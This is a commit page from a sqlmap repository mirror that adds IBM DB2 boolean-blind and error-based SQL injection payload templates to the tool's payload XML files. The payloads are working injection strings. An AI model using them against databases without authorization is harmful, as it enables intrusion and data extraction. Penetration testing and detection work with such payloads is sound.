sqlmapproject/sqlmap
1
1
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2025-07-27 08:30:10 +03:00
Code Issues Packages Projects Releases Wiki Activity

Support for DB2 error based and blind

Browse Source
This commit is contained in:
Thomas ETRILLARD 2020-06-24 13:40:06 +02:00
parent 050700f079
commit a9d82c4d4f
2 changed files with 38 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

20
data/xml/payloads/boolean_blind.xml
View File

@ -1532,4 +1532,24 @@ Tag: <test>
</details>
</test>
<!-- End of boolean-based blind tests - Stacked queries -->
<test>
<title>IBM DB2 boolean-based blind - ORDER BY (append)</title>
<stype>1</stype>
<level>1</level>
<risk>1</risk>
<clause>2,3</clause>
<where>1</where>
<vector>,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001,2) END FROM SYSIBM.SYSDUMMY1)</vector>
<request>
<payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001,2) END FROM SYSIBM.SYSDUMMY1)</payload>
</request>
<response>
<comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001,2) END FROM SYSIBM.SYSDUMMY1)</comparison>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
</root>

18
data/xml/payloads/error_based.xml
View File

@ -1321,4 +1321,22 @@
</details>
</test>
<!-- End of error-based tests - stacking -->
<test>
<title>IBM DB2 - Error Based </title>
<stype>2</stype>
<level>1</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1,2,3</where>
<vector>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN RAISE_ERROR('70001',CONCAT('[DELIMITER_START]',CONCAT(([QUERY]),'[DELIMITER_STOP]'))) ELSE 1 END FROM SYSIBM.SYSDUMMY1)</vector>
<request>
<payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN RAISE_ERROR('70001',CONCAT('[DELIMITER_START]',CONCAT((SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE 2 END FROM SYSIBM.SYSDUMMY1),'[DELIMITER_STOP]'))) ELSE 1 END FROM SYSIBM.SYSDUMMY1)</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
</root>